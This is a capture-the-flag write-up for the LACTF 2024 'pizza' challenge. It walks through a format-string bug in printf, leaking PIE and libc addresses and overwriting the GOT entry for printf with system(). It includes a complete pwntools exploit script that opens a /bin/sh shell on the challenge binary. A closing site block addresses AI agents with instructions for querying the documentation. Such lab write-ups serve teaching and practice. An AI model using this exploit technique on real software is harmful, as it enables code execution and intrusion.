# LACTF 2024: pizza

## TL;DR

> Classic Format String GOT Overwrite - Abuse read primitive of `printf()` to leak canary, LIBC and PIE addresses, followed by GOT overwrite to execute a `system(/bin/sh)` call.

## Pwninit

The challenge starts with a given Dockerfile, but without the LIBC.&#x20;

<figure><img src="/files/42kvLwzbyNsdsIvHNbsb" alt=""><figcaption></figcaption></figure>

The LIBC file can be retrieved from the Debian image via Docker volume as a shortcut.

<figure><img src="/files/Kw4doDjUlNjKUCOyYe4O" alt=""><figcaption></figcaption></figure>

Using [o12/pwninit](https://github.com/io12/pwninit) to patch the binary yields an error due to the lack of support for EGLIBC.

<figure><img src="/files/2u7epK5CqAyP2CliCcDF" alt=""><figcaption></figcaption></figure>

I found another fork of [pwninit](https://github.com/sasha-999/pwninit.py) written in Python that supports EGLIBC, so I went with that instead.

<figure><img src="/files/4Y5fcx0lmDoU0iAGhL7p" alt=""><figcaption></figcaption></figure>

## Challenge Overview

Pizza is a menu-style challenge that prompts the user for 3 pizza toppings.

<figure><img src="/files/b0pjGdllKBf8ry12Xmhr" alt="" width="407"><figcaption></figcaption></figure>

Interestingly enough, it supports custom toppings! These custom user inputs are then echoed back to us, indicating something fishy that leans toward an info leak primitive.

<figure><img src="/files/QoicJ9WkC76wd52y368g" alt="" width="408"><figcaption></figcaption></figure>

Inspecting the binary protection shows that Partial RELRO is enabled, meaning GOT overwrite is possible. Another thing to take note is PIE is enabled as well, meaning we would need an info leak to retrieve both LIBC and PIE addresses.

<figure><img src="/files/WEPPDHXxqi3Ti6hSBEcv" alt=""><figcaption></figcaption></figure>

## Format String Vulnerability

An obvious format string vulnerability exists when a custom topping is added. Since our user input is reflected back to us, we essentially have both Read & Write primitives to play with.

```c
  printf("Here are the toppings that you chose:\n");
  for (int i = 0; i < 3; ++i) {
    printf(toppings[i]);
    printf("\n");
  }
  printf("Your pizza will be ready soon.\n");
  printf("Order another pizza? (y/n): ");
```

### Write Primitive - GOT Overwrite

Recall that Partial RELRO is enabled on the GOT; This is a classic scenario where we can overwrite the GOT entry with something like `system()` to get a shell.&#x20;

But first, we need to figure out the offset where the first positional argument occurs. To do this, input a bunch of A's followed by the pointer `%p` specifier. Since our initial input of A's showed up on the 6th address, this will be our offset.

<figure><img src="/files/ZmNfLNuawYQchR65uVwG" alt=""><figcaption></figcaption></figure>

### Read Primitive - Leak LIBC & PIE

Before we overwrite the GOT, there are 2 info leaks required to formulate our payload - Remember, GOT entries are affected by PIE, and  `system()` comes from LIBC which has ASLR enabled on the remote instance.

We can fuzz these offsets to understand where the leaks occur using a similar script from a previous writeup of [SiberSiaga 2023: Password Generator](https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/sibersiaga-2023-password-generator). We'll skip forward this step, but PIE and LIBC can be found from offsets 49 and 47 respectively.

<figure><img src="/files/XAhFMT2dENlokuvWpPQJ" alt="" width="406"><figcaption></figcaption></figure>

Next is to calculate how far these addresses are from their respective base addresses; the value for this will always remain as a constant throughout different runs.

<figure><img src="/files/Jyxlonnb00gZQFHEyGiE" alt=""><figcaption></figcaption></figure>

## Solution

Putting everything together - the read primitive info leaks has to come first before we make use of pwntool's `fmtstr_payload()` to construct our payload.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3

from pwn import *

elf = ELF("./pizza_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', b'%49$p:%47$p')
    r.sendlineafter(b'> ', b'0')    # We leaked both PIE and LIBC in 1st topping, therefore the 2nd & 3rd topping can be anything at this point
    r.sendlineafter(b'> ', b'0')

    r.recvuntil(b'chose:\n')
    leak = r.recvline().strip()

    elf.address = int(leak.strip().split(b':')[0], 16) - 0x1189
    libc.address = int(leak.strip().split(b':')[1], 16) - 0x2724a

    log.info(hex(elf.address))
    log.info(hex(libc.address))

    r.sendlineafter(b'(y/n): ', b'y')

    payload = fmtstr_payload(6, {elf.got.printf: libc.symbols.system}, write_size='short')

    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', payload)
    r.sendlineafter(b'> ', b'12')
    r.sendlineafter(b'topping: ', b'/bin/sh')
    r.sendlineafter(b'> ', b'0')

    r.interactive()

if __name__ == "__main__":
    main()
```

{% endcode %}

<figure><img src="/files/Jt7k7HwUpKyip07xQkPE" alt=""><figcaption></figcaption></figure>

**Flag:** lactf{golf\_balls\_taste\_great\_2tscx63xm3ndvycw}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/lactf-2024-pizza.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
